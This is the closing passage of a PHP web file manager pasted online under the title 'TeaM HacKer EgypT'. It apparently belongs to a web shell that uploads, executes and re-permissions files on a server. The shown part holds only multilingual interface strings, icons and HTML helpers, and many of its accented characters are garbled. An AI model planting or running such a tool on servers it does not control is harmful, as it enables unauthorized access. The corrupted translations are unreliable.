  1900. 'delete' => 'Radera',
  1901. 'rename' => 'Byt namn',
  1902. 'move' => 'Flytta',
  1903. 'copy' => 'Kopiera',
  1904. 'edit' => 'ؤndra',
  1905. 'download' => 'Ladda ner',
  1906. 'upload' => 'Ladda upp',
  1907. 'create' => 'Skapa',
  1908. 'change' => 'ؤndra',
  1909. 'save' => 'Spara',
  1910. 'set' => 'Markera',
  1911. 'reset' => 'Tِm',
  1912. 'relative' => 'Relative path to target',
  1913.  
  1914. 'yes' => 'Ja',
  1915. 'no' => 'Nej',
  1916. 'back' => 'Tillbaks',
  1917. 'destination' => 'Destination',
  1918. 'symlink' => 'Symlink',
  1919. 'no_output' => 'no output',
  1920.  
  1921. 'user' => 'Anvنndare',
  1922. 'password' => 'Lِsenord',
  1923. 'add' => 'Lنgg till',
  1924. 'add_basic_auth' => 'add basic-authentification',
  1925.  
  1926. 'uploaded' => '"[%1]" har laddats upp.',
  1927. 'not_uploaded' => '"[%1]" kunde inte laddas upp.',
  1928. 'already_exists' => '"[%1]" finns redan.',
  1929. 'created' => '"[%1]" har skapats.',
  1930. 'not_created' => '"[%1]" kunde inte skapas.',
  1931. 'really_delete' => 'Radera dessa filer?',
  1932. 'deleted' => "De hنr filerna har raderats:\n[%1]",
  1933. 'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]",
  1934. 'rename_file' => 'Byt namn pه fil:',
  1935. 'renamed' => '"[%1]" har bytt namn till "[%2]".',
  1936. 'not_renamed' => '"[%1] kunde inte dِpas om till "[%2]".',
  1937. 'move_files' => 'Flytta dessa filer:',
  1938. 'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
  1939. 'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
  1940. 'copy_files' => 'Kopiera dessa filer:',
  1941. 'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
  1942. 'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
  1943. 'not_edited' => '"[%1]" kan inte نndras.',
  1944. 'executed' => "\"[%1]\" har utfِrts:\n{%2}",
  1945. 'not_executed' => "\"[%1]\" kunde inte utfِras:\n{%2}",
  1946. 'saved' => '"[%1]" har sparats.',
  1947. 'not_saved' => '"[%1]" kunde inte sparas.',
  1948. 'symlinked' => 'Symlink frهn "[%2]" till "[%1]" har skapats.',
  1949. 'not_symlinked' => 'Symlink frهn "[%2]" till "[%1]" kunde inte skapas.',
  1950. 'permission_for' => 'Rنttigheter fِr "[%1]":',
  1951. 'permission_set' => 'Rنttigheter fِr "[%1]" نndrades till [%2].',
  1952. 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
  1953. 'not_readable' => '"[%1]" kan inte lنsas.'
  1954. );
  1955.  
  1956. case 'sp':
  1957.  
  1958. $date_format = 'j/n/y H:i:s';
  1959. $word_charset = 'ISO-8859-1';
  1960.  
  1961. return array(
  1962. 'directory' => 'Directorio',
  1963. 'file' => 'Archivo',
  1964. 'filename' => 'Nombre Archivo',
  1965.  
  1966. 'size' => 'Tamaٌo',
  1967. 'permission' => 'Permisos',
  1968. 'owner' => 'Propietario',
  1969. 'group' => 'Grupo',
  1970. 'other' => 'Otros',
  1971. 'functions' => 'Funciones',
  1972.  
  1973. 'read' => 'lectura',
  1974. 'write' => 'escritura',
  1975. 'execute' => 'ejecuciَn',
  1976.  
  1977. 'create_symlink' => 'crear enlace',
  1978. 'delete' => 'borrar',
  1979. 'rename' => 'renombrar',
  1980. 'move' => 'mover',
  1981. 'copy' => 'copiar',
  1982. 'edit' => 'editar',
  1983. 'download' => 'bajar',
  1984. 'upload' => 'subir',
  1985. 'create' => 'crear',
  1986. 'change' => 'cambiar',
  1987. 'save' => 'salvar',
  1988. 'set' => 'setear',
  1989. 'reset' => 'resetear',
  1990. 'relative' => 'Path relativo',
  1991.  
  1992. 'yes' => 'Si',
  1993. 'no' => 'No',
  1994. 'back' => 'atrلs',
  1995. 'destination' => 'Destino',
  1996. 'symlink' => 'Enlace',
  1997. 'no_output' => 'sin salida',
  1998.  
  1999. 'user' => 'Usuario',
  2000. 'password' => 'Clave',
  2001. 'add' => 'agregar',
  2002. 'add_basic_auth' => 'agregar autentificaciَn bلsica',
  2003.  
  2004. 'uploaded' => '"[%1]" ha sido subido.',
  2005. 'not_uploaded' => '"[%1]" no pudo ser subido.',
  2006. 'already_exists' => '"[%1]" ya existe.',
  2007. 'created' => '"[%1]" ha sido creado.',
  2008. 'not_created' => '"[%1]" no pudo ser creado.',
  2009. 'really_delete' => '؟Borra estos archivos?',
  2010. 'deleted' => "Estos archivos han sido borrados:\n[%1]",
  2011. 'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]",
  2012. 'rename_file' => 'Renombra archivo:',
  2013. 'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
  2014. 'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
  2015. 'move_files' => 'Mover estos archivos:',
  2016. 'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
  2017. 'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
  2018. 'copy_files' => 'Copiar estos archivos:',
  2019. 'copied' => "Estos archivos han sido copiados a \"[%2]\":\n[%1]",
  2020. 'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
  2021. 'not_edited' => '"[%1]" no pudo ser editado.',
  2022. 'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
  2023. 'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
  2024. 'saved' => '"[%1]" ha sido salvado.',
  2025. 'not_saved' => '"[%1]" no pudo ser salvado.',
  2026. 'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
  2027. 'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
  2028. 'permission_for' => 'Permisos de "[%1]":',
  2029. 'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
  2030. 'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
  2031. 'not_readable' => '"[%1]" no pudo ser leيdo.'
  2032. );
  2033.  
  2034. case 'dk':
  2035.  
  2036. $date_format = 'n/j/y H:i:s';
  2037. $word_charset = 'ISO-8859-1';
  2038.  
  2039. return array(
  2040. 'directory' => 'Mappe',
  2041. 'file' => 'Fil',
  2042. 'filename' => 'Filnavn',
  2043.  
  2044. 'size' => 'Stّrrelse',
  2045. 'permission' => 'Rettighed',
  2046. 'owner' => 'Ejer',
  2047. 'group' => 'Gruppe',
  2048. 'other' => 'Andre',
  2049. 'functions' => 'Funktioner',
  2050.  
  2051. 'read' => 'lوs',
  2052. 'write' => 'skriv',
  2053. 'execute' => 'kّr',
  2054.  
  2055. 'create_symlink' => 'opret symbolsk link',
  2056. 'delete' => 'slet',
  2057. 'rename' => 'omdّb',
  2058. 'move' => 'flyt',
  2059. 'copy' => 'kopier',
  2060. 'edit' => 'rediger',
  2061. 'download' => 'download',
  2062. 'upload' => 'upload',
  2063. 'create' => 'opret',
  2064. 'change' => 'skift',
  2065. 'save' => 'gem',
  2066. 'set' => 'sوt',
  2067. 'reset' => 'nulstil',
  2068. 'relative' => 'Relativ sti til valg',
  2069.  
  2070. 'yes' => 'Ja',
  2071. 'no' => 'Nej',
  2072. 'back' => 'tilbage',
  2073. 'destination' => 'Distination',
  2074. 'symlink' => 'Symbolsk link',
  2075. 'no_output' => 'ingen resultat',
  2076.  
  2077. 'user' => 'Bruger',
  2078. 'password' => 'Kodeord',
  2079. 'add' => 'tilfّj',
  2080. 'add_basic_auth' => 'tilfّj grundliggende rettigheder',
  2081.  
  2082. 'uploaded' => '"[%1]" er blevet uploaded.',
  2083. 'not_uploaded' => '"[%1]" kunnu ikke uploades.',
  2084. 'already_exists' => '"[%1]" findes allerede.',
  2085. 'created' => '"[%1]" er blevet oprettet.',
  2086. 'not_created' => '"[%1]" kunne ikke oprettes.',
  2087. 'really_delete' => 'Slet disse filer?',
  2088. 'deleted' => "Disse filer er blevet slettet:\n[%1]",
  2089. 'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]",
  2090. 'rename_file' => 'Omdّd fil:',
  2091. 'renamed' => '"[%1]" er blevet omdّbt til "[%2]".',
  2092. 'not_renamed' => '"[%1] kunne ikke omdّbes til "[%2]".',
  2093. 'move_files' => 'Flyt disse filer:',
  2094. 'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
  2095. 'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
  2096. 'copy_files' => 'Kopier disse filer:',
  2097. 'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]",
  2098. 'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
  2099. 'not_edited' => '"[%1]" kan ikke redigeres.',
  2100. 'executed' => "\"[%1]\" er blevet kّrt korrekt:\n{%2}",
  2101. 'not_executed' => "\"[%1]\" kan ikke kّres korrekt:\n{%2}",
  2102. 'saved' => '"[%1]" er blevet gemt.',
  2103. 'not_saved' => '"[%1]" kunne ikke gemmes.',
  2104. 'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
  2105. 'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
  2106. 'permission_for' => 'Rettigheder for "[%1]":',
  2107. 'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
  2108. 'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sوttes til [%2].',
  2109. 'not_readable' => '"[%1]" Kan ikke lوses.'
  2110. );
  2111.  
  2112. case 'tr':
  2113.  
  2114. $date_format = 'n/j/y H:i:s';
  2115. $word_charset = 'ISO-8859-1';
  2116.  
  2117. return array(
  2118. 'directory' => 'Klasِr',
  2119. 'file' => 'Dosya',
  2120. 'filename' => 'dosya adi',
  2121.  
  2122. 'size' => 'boyutu',
  2123. 'permission' => 'Izin',
  2124. 'owner' => 'sahib',
  2125. 'group' => 'Grup',
  2126. 'other' => 'Digerleri',
  2127. 'functions' => 'Fonksiyonlar',
  2128.  
  2129. 'read' => 'oku',
  2130. 'write' => 'yaz',
  2131. 'execute' => 'çalistir',
  2132.  
  2133. 'create_symlink' => 'yarat symlink',
  2134. 'delete' => 'sil',
  2135. 'rename' => 'ad degistir',
  2136. 'move' => 'tasi',
  2137. 'copy' => 'kopyala',
  2138. 'edit' => 'düzenle',
  2139. 'download' => 'indir',
  2140. 'upload' => 'yükle',
  2141. 'create' => 'create',
  2142. 'change' => 'degistir',
  2143. 'save' => 'kaydet',
  2144. 'set' => 'ayar',
  2145. 'reset' => 'sifirla',
  2146. 'relative' => 'Hedef yola gِre',
  2147.  
  2148. 'yes' => 'Evet',
  2149. 'no' => 'Hayir',
  2150. 'back' => 'Geri',
  2151. 'destination' => 'Hedef',
  2152. 'symlink' => 'K‎sa yol',
  2153. 'no_output' => 'çikti yok',
  2154.  
  2155. 'user' => 'Kullanici',
  2156. 'password' => 'Sifre',
  2157. 'add' => 'ekle',
  2158. 'add_basic_auth' => 'ekle basit-authentification',
  2159.  
  2160. 'uploaded' => '"[%1]" yüklendi.',
  2161. 'not_uploaded' => '"[%1]" yüklenemedi.',
  2162. 'already_exists' => '"[%1]" kullanilmakta.',
  2163. 'created' => '"[%1]" olusturuldu.',
  2164. 'not_created' => '"[%1]" olusturulamadi.',
  2165. 'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
  2166. 'deleted' => "Bu dosyalar silindi:\n[%1]",
  2167. 'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
  2168. 'rename_file' => 'Adi degisen dosya:',
  2169. 'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
  2170. 'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
  2171. 'move_files' => 'Tasinan dosyalar:',
  2172. 'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
  2173. 'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
  2174. 'copy_files' => 'Kopyalanan dosyalar:',
  2175. 'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
  2176. 'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
  2177. 'not_edited' => '"[%1]" düzenlenemiyor.',
  2178. 'executed' => "\"[%1]\" basariyla çalistirildi:\n{%2}",
  2179. 'not_executed' => "\"[%1]\" çalistirilamadi:\n{%2}",
  2180. 'saved' => '"[%1]" kaydedildi.',
  2181. 'not_saved' => '"[%1]" kaydedilemedi.',
  2182. 'symlinked' => '"[%2]" den "[%1]" e k‎sayol olu‏turuldu.',
  2183. 'not_symlinked' => '"[%2]"den "[%1]" e k‎sayol olu‏turulamad‎.',
  2184. 'permission_for' => 'Izinler "[%1]":',
  2185. 'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
  2186. 'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
  2187. 'not_readable' => '"[%1]" okunamiyor.'
  2188. );
  2189.  
  2190. case 'cs':
  2191.  
  2192. $date_format = 'd.m.y H:i:s';
  2193. $word_charset = 'UTF-8';
  2194.  
  2195. return array(
  2196. 'directory' => 'Adresأ،إ™',
  2197. 'file' => 'Soubor',
  2198. 'filename' => 'Jmأ©no souboru',
  2199.  
  2200. 'size' => 'Velikost',
  2201. 'permission' => 'Prأ،va',
  2202. 'owner' => 'Vlastnأ­k',
  2203. 'group' => 'Skupina',
  2204. 'other' => 'Ostatnأ­',
  2205. 'functions' => 'Funkce',
  2206.  
  2207. 'read' => 'ؤŒtenأ­',
  2208. 'write' => 'Zأ،pis',
  2209. 'execute' => 'Spouإ،tؤ›nأ­',
  2210.  
  2211. 'create_symlink' => 'Vytvoإ™it symbolickأ½ odkaz',
  2212. 'delete' => 'Smazat',
  2213. 'rename' => 'Pإ™ejmenovat',
  2214. 'move' => 'Pإ™esunout',
  2215. 'copy' => 'Zkopأ­rovat',
  2216. 'edit' => 'Otevإ™أ­t',
  2217. 'download' => 'Stأ،hnout',
  2218. 'upload' => 'Nahraj na server',
  2219. 'create' => 'Vytvoإ™it',
  2220. 'change' => 'Zmؤ›nit',
  2221. 'save' => 'Uloإ¾it',
  2222. 'set' => 'Nastavit',
  2223. 'reset' => 'zpؤ›t',
  2224. 'relative' => 'Relatif',
  2225.  
  2226. 'yes' => 'Ano',
  2227. 'no' => 'Ne',
  2228. 'back' => 'Zpؤ›t',
  2229. 'destination' => 'Destination',
  2230. 'symlink' => 'Symbolickأ½ odkaz',
  2231. 'no_output' => 'Prأ،zdnأ½ vأ½stup',
  2232.  
  2233. 'user' => 'Uإ¾ivatel',
  2234. 'password' => 'Heslo',
  2235. 'add' => 'Pإ™idat',
  2236. 'add_basic_auth' => 'pإ™idej zأ،kladnأ­ autentizaci',
  2237.  
  2238. 'uploaded' => 'Soubor "[%1]" byl nahrأ،n na server.',
  2239. 'not_uploaded' => 'Soubor "[%1]" nebyl nahrأ،n na server.',
  2240. 'already_exists' => 'Soubor "[%1]" uإ¾ exituje.',
  2241. 'created' => 'Soubor "[%1]" byl vytvoإ™en.',
  2242. 'not_created' => 'Soubor "[%1]" nemohl bأ½t vytvoإ™en.',
  2243. 'really_delete' => 'Vymazat soubor?',
  2244. 'deleted' => "Byly vymazأ،ny tyto soubory:\n[%1]",
  2245. 'not_deleted' => "Tyto soubory nemohly bأ½t vytvoإ™eny:\n[%1]",
  2246. 'rename_file' => 'Pإ™ejmenuj soubory:',
  2247. 'renamed' => 'Soubor "[%1]" byl pإ™ejmenovأ،n na "[%2]".',
  2248. 'not_renamed' => 'Soubor "[%1]" nemohl bأ½t pإ™ejmenovأ،n na "[%2]".',
  2249. 'move_files' => 'Pإ™emأ­stit tyto soubory:',
  2250. 'moved' => "Tyto soubory byly pإ™emأ­stؤ›ny do \"[%2]\":\n[%1]",
  2251. 'not_moved' => "Tyto soubory nemohly bأ½t pإ™emأ­stؤ›ny do \"[%2]\":\n[%1]",
  2252. 'copy_files' => 'Zkopأ­rovat tyto soubory:',
  2253. 'copied' => "Tyto soubory byly zkopأ­rovأ،ny do \"[%2]\":\n[%1]",
  2254. 'not_copied' => "Tyto soubory nemohly bأ½t zkopأ­rovأ،ny do \"[%2]\":\n[%1]",
  2255. 'not_edited' => 'Soubor "[%1]" nemohl bأ½t otevإ™en.',
  2256. 'executed' => "SOubor \"[%1]\" byl spuإ،tؤ›n :\n{%2}",
  2257. 'not_executed' => "Soubor \"[%1]\" nemohl bأ½t spuإ،tؤ›n:\n{%2}",
  2258. 'saved' => 'Soubor "[%1]" byl uloإ¾en.',
  2259. 'not_saved' => 'Soubor "[%1]" nemohl bأ½t uloإ¾en.',
  2260. 'symlinked' => 'Byl vyvoإ™en symbolickأ½ odkaz "[%2]" na soubor "[%1]".',
  2261. 'not_symlinked' => 'Symbolickأ½ odkaz "[%2]" na soubor "[%1]" nemohl bأ½t vytvoإ™en.',
  2262. 'permission_for' => 'Prأ،va k "[%1]":',
  2263. 'permission_set' => 'Prأ،va k "[%1]" byla zmؤ›nؤ›na na [%2].',
  2264. 'permission_not_set' => 'Prأ،va k "[%1]" nemohla bأ½t zmؤ›nؤ›na na [%2].',
  2265. 'not_readable' => 'Soubor "[%1]" nenأ­ moإ¾no pإ™eؤچأ­st.'
  2266. );
  2267.  
  2268. case 'en':
  2269. default:
  2270.  
  2271. $date_format = 'n/j/y H:i:s';
  2272. $word_charset = 'ISO-8859-1';
  2273.  
  2274. return array(
  2275. 'directory' => 'Directory',
  2276. 'file' => 'File',
  2277. 'filename' => 'Filename',
  2278.  
  2279. 'size' => 'Size',
  2280. 'permission' => 'Permission',
  2281. 'owner' => 'Owner',
  2282. 'group' => 'Group',
  2283. 'other' => 'Others',
  2284. 'functions' => 'Functions',
  2285.  
  2286. 'read' => 'read',
  2287. 'write' => 'write',
  2288. 'execute' => 'execute',
  2289.  
  2290. 'create_symlink' => 'create symlink',
  2291. 'delete' => 'delete',
  2292. 'rename' => 'rename',
  2293. 'move' => 'move',
  2294. 'copy' => 'copy',
  2295. 'edit' => 'edit',
  2296. 'download' => 'download',
  2297. 'upload' => 'upload',
  2298. 'create' => 'create',
  2299. 'change' => 'change',
  2300. 'save' => 'save',
  2301. 'set' => 'set',
  2302. 'reset' => 'reset',
  2303. 'relative' => 'Relative path to target',
  2304.  
  2305. 'yes' => 'Yes',
  2306. 'no' => 'No',
  2307. 'back' => 'back',
  2308. 'destination' => 'Destination',
  2309. 'symlink' => 'Symlink',
  2310. 'no_output' => 'no output',
  2311.  
  2312. 'user' => 'User',
  2313. 'password' => 'Password',
  2314. 'add' => 'add',
  2315. 'add_basic_auth' => 'add basic-authentification',
  2316.  
  2317. 'uploaded' => '"[%1]" has been uploaded.',
  2318. 'not_uploaded' => '"[%1]" could not be uploaded.',
  2319. 'already_exists' => '"[%1]" already exists.',
  2320. 'created' => '"[%1]" has been created.',
  2321. 'not_created' => '"[%1]" could not be created.',
  2322. 'really_delete' => 'Delete these files?',
  2323. 'deleted' => "These files have been deleted:\n[%1]",
  2324. 'not_deleted' => "These files could not be deleted:\n[%1]",
  2325. 'rename_file' => 'Rename file:',
  2326. 'renamed' => '"[%1]" has been renamed to "[%2]".',
  2327. 'not_renamed' => '"[%1] could not be renamed to "[%2]".',
  2328. 'move_files' => 'Move these files:',
  2329. 'moved' => "These files have been moved to \"[%2]\":\n[%1]",
  2330. 'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
  2331. 'copy_files' => 'Copy these files:',
  2332. 'copied' => "These files have been copied to \"[%2]\":\n[%1]",
  2333. 'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
  2334. 'not_edited' => '"[%1]" can not be edited.',
  2335. 'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
  2336. 'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
  2337. 'saved' => '"[%1]" has been saved.',
  2338. 'not_saved' => '"[%1]" could not be saved.',
  2339. 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
  2340. 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
  2341. 'permission_for' => 'Permission of "[%1]":',
  2342. 'permission_set' => 'Permission of "[%1]" was set to [%2].',
  2343. 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
  2344. 'not_readable' => '"[%1]" can not be read.'
  2345. );
  2346.  
  2347. }
  2348.  
  2349. }
  2350.  
  2351. function getimage ($image) {
  2352. switch ($image) {
  2353. case 'file':
  2354. return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
  2355. case 'folder':
  2356. return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
  2357. case 'hidden_file':
  2358. return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
  2359. case 'link':
  2360. return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
  2361. case 'smiley':
  2362. return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
  2363. case 'arrow':
  2364. return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
  2365. }
  2366. }
  2367.  
  2368. function html_header () {
  2369. global $site_charset;
  2370.  
  2371. echo <<<END
  2372. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  2373. "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  2374. <html xmlns="http://www.w3.org/1999/xhtml">
  2375. <head>
  2376.  
  2377. <meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />
  2378.  
  2379. <title>TeaM HacKer EgypT</title>
  2380.  
  2381. <style type="text/css">
  2382. body { font: small sans-serif; text-align: center }
  2383. img { width: 17px; height: 13px }
  2384. a, a:visited { text-decoration: none; color: navy }
  2385. hr { border-style: none; height: 1px; background-color: silver; color: silver }
  2386. #main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
  2387. #main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
  2388. .listing th, .listing td { padding: 1px 3pt 0 3pt }
  2389. .listing th { border: 1px solid silver }
  2390. .listing td { border: 1px solid #ddd; background: white }
  2391. .listing .checkbox { text-align: center }
  2392. .listing .filename { text-align: left }
  2393. .listing .size { text-align: right }
  2394. .listing .permission_header { text-align: left }
  2395. .listing .permission { font-family: monospace }
  2396. .listing .owner { text-align: left }
  2397. .listing .group { text-align: left }
  2398. .listing .functions { text-align: left }
  2399. .listing_footer td { background: #eee; border: 1px solid silver }
  2400. #directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
  2401. #directory { background: #eee; border: 1px solid silver }
  2402. #upload { padding-top: 1em }
  2403. #create { padding-bottom: 1em }
  2404. .small, .small option { font-size: x-small }
  2405. textarea { border: none; background: white }
  2406. table.dialog { margin-left: auto; margin-right: auto }
  2407. td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
  2408. #permission { margin-left: auto; margin-right: auto }
  2409. #permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
  2410. td.permission_action { text-align: right }
  2411. #symlink { background: #eee; border: 1px solid silver }
  2412. #symlink td { text-align: left; padding: 3pt }
  2413. #red_button { width: 120px; color: #400 }
  2414. #green_button { width: 120px; color: #040 }
  2415. #error td { background: maroon; color: white; border: 1px solid silver }
  2416. #notice td { background: green; color: white; border: 1px solid silver }
  2417. #notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
  2418. code { font-size: 12pt }
  2419. td { white-space: nowrap }
  2420. </style>
  2421.  
  2422. <script type="text/javascript">
  2423. <!--
  2424. function activate (name) {
  2425. if (document && document.forms[0] && document.forms[0].elements['focus']) {
  2426. document.forms[0].elements['focus'].value = name;
  2427. }
  2428. }
  2429. //-->
  2430. </script>
  2431.  
  2432. </head>
  2433. <body>
  2434.  
  2435.  
  2436. END;
  2437.  
  2438. }
  2439.  
  2440. function html_footer () {
  2441.  
  2442. echo <<<END
  2443. </body>
  2444. </html>
  2445. END;
  2446.  
  2447. }
  2448.  
  2449. function notice ($phrase) {
  2450. global $cols;
  2451.  
  2452. $args = func_get_args();
  2453. array_shift($args);
  2454.  
  2455. return '<tr id="notice">
  2456. <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
  2457. </tr>
  2458. ';
  2459.  
  2460. }
  2461.  
  2462. function error ($phrase) {
  2463. global $cols;
  2464.  
  2465. $args = func_get_args();
  2466. array_shift($args);
  2467.  
  2468. return '<tr id="error">
  2469. <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
  2470. </tr>
  2471. ';
  2472.  
  2473. }
  2474.  
  2475. ?>
Add Comment
Please, Sign In to add comment